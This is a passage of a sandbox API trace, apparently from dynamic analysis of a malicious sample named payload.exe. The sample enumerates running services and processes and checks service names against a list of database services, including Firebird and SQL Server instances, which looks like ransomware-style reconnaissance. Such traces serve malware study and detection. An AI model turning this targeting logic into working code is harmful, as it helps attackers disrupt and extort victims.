lpString2="RpcEptMapper") returned 1 [0134.178] lstrlenW (lpString="RpcSs") returned 5 [0134.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0134.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0134.178] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0134.178] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0134.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0134.178] lstrlenW (lpString="SamSs") returned 5 [0134.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0134.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0134.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0134.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0134.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0134.178] lstrlenW (lpString="Schedule") returned 8 [0134.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0134.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0134.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0134.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0134.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0134.178] lstrlenW (lpString="SecurityHealthService") returned 21 [0134.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0134.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0134.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0134.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0134.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0134.178] lstrlenW (lpString="SENS") returned 4 [0134.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0134.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0134.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0134.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0134.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0134.179] lstrlenW (lpString="ShellHWDetection") returned 16 [0134.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.179] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0134.179] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0134.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0134.179] lstrlenW (lpString="Spooler") returned 7 [0134.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0134.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0134.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0134.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0134.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0134.179] lstrlenW (lpString="StateRepository") returned 15 [0134.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0134.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0134.179] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0134.179] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0134.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0134.179] lstrlenW (lpString="SysMain") returned 7 [0134.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0134.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0134.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0134.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0134.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0134.179] lstrlenW (lpString="SystemEventsBroker") returned 18 [0134.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0134.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0134.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0134.179] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0134.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0134.179] lstrlenW (lpString="Themes") returned 6 [0134.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0134.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0134.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0134.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0134.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0134.180] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0134.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0134.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0134.180] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0134.180] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0134.180] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448dfd8 | out: hHeap=0x510000) returned 1 [0134.180] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ac [0134.183] Process32FirstW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.184] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0134.368] lstrlenW (lpString="System") returned 6 [0134.368] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0134.369] lstrlenW (lpString="smss.exe") returned 8 [0134.369] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.370] lstrlenW (lpString="csrss.exe") returned 9 [0134.370] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0134.370] lstrlenW (lpString="wininit.exe") returned 11 [0134.371] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.371] lstrlenW (lpString="csrss.exe") returned 9 [0134.371] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0134.372] lstrlenW (lpString="winlogon.exe") returned 12 [0134.372] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0134.373] lstrlenW (lpString="services.exe") returned 12 [0134.373] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0134.374] lstrlenW (lpString="lsass.exe") returned 9 [0134.374] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.374] lstrlenW (lpString="svchost.exe") returned 11 [0134.374] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0134.375] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0134.375] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0134.376] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0134.376] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.376] lstrlenW (lpString="svchost.exe") returned 11 [0134.376] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0134.377] lstrlenW (lpString="dwm.exe") returned 7 [0134.377] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.378] lstrlenW (lpString="svchost.exe") returned 11 [0134.378] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.378] lstrlenW (lpString="svchost.exe") returned 11 [0134.378] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.379] lstrlenW (lpString="svchost.exe") returned 11 [0134.379] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.380] lstrlenW (lpString="svchost.exe") returned 11 [0134.380] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.380] lstrlenW (lpString="svchost.exe") returned 11 [0134.380] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.381] lstrlenW (lpString="svchost.exe") returned 11 [0134.381] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.382] lstrlenW (lpString="svchost.exe") returned 11 [0134.382] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.382] lstrlenW (lpString="svchost.exe") returned 11 [0134.382] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.383] lstrlenW (lpString="svchost.exe") returned 11 [0134.383] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.383] lstrlenW (lpString="svchost.exe") returned 11 [0134.384] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0134.384] lstrlenW (lpString="spoolsv.exe") returned 11 [0134.384] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.385] lstrlenW (lpString="svchost.exe") returned 11 [0134.385] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0134.385] lstrlenW (lpString="audiodg.exe") returned 11 [0134.386] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0134.386] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0134.386] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0134.387] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0134.387] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0134.387] lstrlenW (lpString="Memory Compression") returned 18 [0134.388] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0134.388] lstrlenW (lpString="sihost.exe") returned 10 [0134.388] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.389] lstrlenW (lpString="svchost.exe") returned 11 [0134.389] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0134.390] lstrlenW (lpString="taskhostw.exe") returned 13 [0134.390] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0134.390] lstrlenW (lpString="msoia.exe") returned 9 [0134.390] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0134.391] lstrlenW (lpString="explorer.exe") returned 12 [0134.391] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0134.392] lstrlenW (lpString="SearchUI.exe") returned 12 [0134.392] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0134.392] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0134.392] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0134.393] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0134.393] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0134.394] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0134.394] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0134.395] lstrlenW (lpString="payload.exe") returned 11 [0134.395] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0134.396] lstrlenW (lpString="cmd.exe") returned 7 [0134.396] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0134.396] lstrlenW (lpString="conhost.exe") returned 11 [0134.396] Process32NextW (in: hSnapshot=0x4ac, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0134.397] CloseHandle (hObject=0x4ac) returned 1 [0134.397] Sleep (dwMilliseconds=0x1f4) [0135.186] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443dfe0 [0135.186] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0135.186] GetLastError () returned 0xea [0135.187] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x448dfd8 [0135.187] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x448dfd8, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x448dfd8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0135.188] CloseServiceHandle (hSCObject=0x443dfe0) returned 1 [0135.188] lstrlenW (lpString="Appinfo") returned 7 [0135.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0135.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0135.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0135.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0135.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0135.188] lstrlenW (lpString="AppXSvc") returned 7 [0135.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0135.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0135.188] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0135.188] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0135.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0135.188] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0135.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.188] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0135.188] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0135.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0135.188] lstrlenW (lpString="Audiosrv") returned 8 [0135.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0135.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0135.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0135.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0135.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0135.189] lstrlenW (lpString="BFE") returned 3 [0135.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0135.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0135.189] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0135.189] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0135.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0135.189] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0135.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0135.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0135.189] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0135.189] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0135.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0135.189] lstrlenW (lpString="CDPSvc") returned 6 [0135.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0135.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0135.189] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0135.189] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0135.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0135.189] lstrlenW 